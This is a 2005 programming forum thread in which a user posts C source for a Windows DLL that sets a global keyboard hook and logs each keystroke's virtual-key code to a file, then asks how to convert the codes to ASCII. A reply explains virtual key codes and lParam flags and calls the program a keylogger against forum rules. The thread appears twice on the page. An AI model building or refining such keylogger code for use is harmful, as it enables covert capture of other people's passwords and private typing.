Keyboard hook

joecaveman · 09-02-2005, 10:35 PM

I have a program that records keyboard input and writes it to a file, but I think the program receives the keyboard values corresponding to certain characters, and not the ASCII values. Ex: The character ";" is recorded as 186 instead of the ASCII value, 59.

The program is a DLL:

Code:

#include <windows.h>
#include <stdio.h>

FILE *f1;
static HHOOK hkb=NULL;

int __stdcall __declspec(dllexport) KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

    int ch;
    LPTSTR keyname;
    
    if (nCode < 0) {
        return 1;
    }
    
    ch = wParam;
    
    
    if (GetAsyncKeyState(ch) == 0) {

            f1=fopen("C:\\templog.txt","a+");
            if (f1) {
                   fprintf(f1,"%d;",ch);
                   fclose(f1);
            }
    }
    

    LRESULT RetVal = CallNextHookEx(hkb,nCode,wParam,lParam );

    return 0;

}

HHOOK __stdcall __declspec(dllexport) installHook(HINSTANCE hins) {
    f1=fopen("C:\\report.txt","a+");
    fclose(f1);
    hkb=SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc,hins,0);
    return hkb;
}

If the values are indeed corresponding to how the keyboard interprets them, is this in any way, keyboard-specific?

Is there any way of efficiently modifying the recorded values - besides the pathetic task of testing to see the keyboard values of each character, and then creating a substitution cipher, that checks each character and modifies it's value - to the ASCII correspondants?

My best guess is that this question belongs in Windows Programming.

Tonto · 09-02-2005, 11:31 PM

wParam contains a virtual key scan code. A list of these codes can be found here: http://www.vmware.com/support/ws5/do...map_vscan.html and MSDN explains this in it's WH_KEYBOARD reference: http://msdn.microsoft.com/library/de...yboardproc.asp. GetAsyncKeyState also just comes in and sucks up your KeyboardProc, in addition to not returning 0 when a key is down. See: http://msdn.microsoft.com/library/de...nckeystate.asp for more info. It is also just a very hackish way of checking if it's a WM_KEYDOWN message. Check out the useful flags in lParam instead. It is also very clear that you are making lame malware (keylogger), which is against the rules of the forum.

joecaveman · 09-03-2005, 08:07 AM

Thanks for the help, and additional advice.

09-02-2005, 10:35 PM	#1
joecaveman Registered User Join Date: Mar 2005 Posts: 11	Keyboard hook I have a program that records keyboard input and writes it to a file, but I think the program receives the keyboard values corresponding to certain characters, and not the ASCII values. Ex: The character ";" is recorded as 186 instead of the ASCII value, 59. The program is a DLL: Code: #include <windows.h> #include <stdio.h> FILE *f1; static HHOOK hkb=NULL; int __stdcall __declspec(dllexport) KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { int ch; LPTSTR keyname; if (nCode < 0) { return 1; } ch = wParam; if (GetAsyncKeyState(ch) == 0) { f1=fopen("C:\\templog.txt","a+"); if (f1) { fprintf(f1,"%d;",ch); fclose(f1); } } LRESULT RetVal = CallNextHookEx(hkb,nCode,wParam,lParam ); return 0; } HHOOK __stdcall __declspec(dllexport) installHook(HINSTANCE hins) { f1=fopen("C:\\report.txt","a+"); fclose(f1); hkb=SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc,hins,0); return hkb; } If the values are indeed corresponding to how the keyboard interprets them, is this in any way, keyboard-specific? Is there any way of efficiently modifying the recorded values - besides the pathetic task of testing to see the keyboard values of each character, and then creating a substitution cipher, that checks each character and modifies it's value - to the ASCII correspondants? My best guess is that this question belongs in Windows Programming.
joecaveman is offline

09-02-2005, 11:31 PM	#2
Tonto Registered User Join Date: Jun 2005 Location: New York Posts: 1,465	wParam contains a virtual key scan code. A list of these codes can be found here: http://www.vmware.com/support/ws5/do...map_vscan.html and MSDN explains this in it's WH_KEYBOARD reference: http://msdn.microsoft.com/library/de...yboardproc.asp. GetAsyncKeyState also just comes in and sucks up your KeyboardProc, in addition to not returning 0 when a key is down. See: http://msdn.microsoft.com/library/de...nckeystate.asp for more info. It is also just a very hackish way of checking if it's a WM_KEYDOWN message. Check out the useful flags in lParam instead. It is also very clear that you are making lame malware (keylogger), which is against the rules of the forum.
Tonto is offline

09-03-2005, 08:07 AM	#3
joecaveman Registered User Join Date: Mar 2005 Posts: 11	Thanks for the help, and additional advice.
joecaveman is offline

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Simulate Keys with a Keyboard Hook	guitarist809	Windows Programming	3	11-14-2008 08:14 PM
C++ Global Keyboard Hook	darknite135	C++ Programming	4	02-01-2008 07:36 PM
Keyboard Hook	jmd15	Windows Programming	19	08-07-2005 03:11 PM
How to keep static data in a keyboard hook?	junbin	Windows Programming	1	01-19-2003 03:24 AM